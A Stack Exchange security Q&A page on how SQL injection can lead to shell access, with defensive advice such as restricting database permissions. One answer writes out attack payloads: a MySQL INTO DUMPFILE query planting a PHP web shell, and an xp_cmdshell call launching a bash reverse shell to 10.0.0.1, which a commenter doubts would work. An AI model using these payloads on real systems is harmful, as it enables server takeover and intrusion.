Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

As I understand it, SQL injection should only allow for the manipulation and retrivial of data, nothing more. Assuming no passwords are obtained, how can simple SQL injection be used to leverage a shell?

I have seen attacks where this has been claimed to be possible, and if it is would like to be able to protect against it.

share|improve this question

4 Answers 4

up vote 17 down vote accepted

Many common SQL servers support functions such as xp_cmdshell that allow the execution of arbitrary commands. They are not in the SQL standard so every database software has different names for it.

Furthermore there is SELECT ... INTO OUTFILE, that can be used to write arbitrary files with the permissions of the database user. It may be possible to overwrite shell scripts that are invoked by cron or on startup. If the database server process is running on the same server as a web application (e. g. a single rented server), it may be possible to write .php files that can then be invoked by visiting the appropriate url in the browser.

The third way to cause damage is to define and execute stored procedures in the database. Or redefine existing stored procedures, for example a function that verifies passwords.

There are likely more ways.

The application database user should neither have permissions to execute the shell functions nor use INTO OUTFILE nor to define stored procedures.

share|improve this answer
    
Well, that said everything I had in mind. –  Jeff Ferland Sep 7 '11 at 20:22
    
+1 for explanation. I'd like to add that in addition to removing permissions to use the shell, just turn off shell support if possible. –  Steve Sep 7 '11 at 22:10

It depends entirely on the application in question. As to how to protect yourself, not to be trite, but plug the SQL injection holes. It's also wise to isolate public-facing stuff as much as possible, so if you are owned, the attacker can't do much. How practical this is is, again, dependent on your architecture and the app in question.

share|improve this answer
1  
Obviously plugging the SQL injection holes is ideal, but defense in depth never hurts. –  Sonny Ordell Sep 7 '11 at 20:21

With an Oracle database, you can actually compile and execute Java code from an SQL query. I've seen attackers implement a basic shell wrapper in Java for Oracle, and run and compile it from SQL injection. Pretty nifty.

share|improve this answer

There are several ways to get shell. Here is some of them. The link in the bottom should lead you to some excellent cheat sheets for many kinds of databases like MSSQL, Oracle, MySQL and more.

A good tip for getting shell is having this reverse shell cheat sheet in your back pocket.

Outfile

If you know where to put the shell on the server (somewhere accessible) you can use the following query (mysql) to create for example a php shell on the webserver:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’

Finding where you should put the shell

You need to know where the domain dir is. Learning where the database is running can be helpfull thus an injection query (mysql) like this would maybe tell you about the directory architecture:

SELECT @@datadir;

You may also be lucky if you try force any error messages from the system to make it tell you where the it is running. Typically this approach is the easiest as many error messages are very

Using built in DB functions (xp_cmdshell)

MSSQL has a relative easy way of calling OS functions by using the built in function xp_cmdshell. It is not as easy in MySQL (usually requires outfile or stored procedure). Oracle is farily easy aswell as it allows Java code to be executed.

EXEC xp_cmdshell ‘bash -i >& /dev/tcp/10.0.0.1/8080 0>&1’

The statement above creates an interactive (-i) shell listening at 10.0.0.1 port 8080.

Shell via stored procedures

If you can concatenate queries in an injection point you can most likely create procedures in the database. These procedures work as functions which you then can call with quries.

See Shell commands from PL SQL for more details on this.

Other

Good source for injection: pentest monkey

share|improve this answer
    
I'm fairly sure xp_cmdshell is an MSSQL thing whereas bash is commonly a Linux thing so that command requires a really messed up setup to actually work... –  Wolfer May 1 at 10:27

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.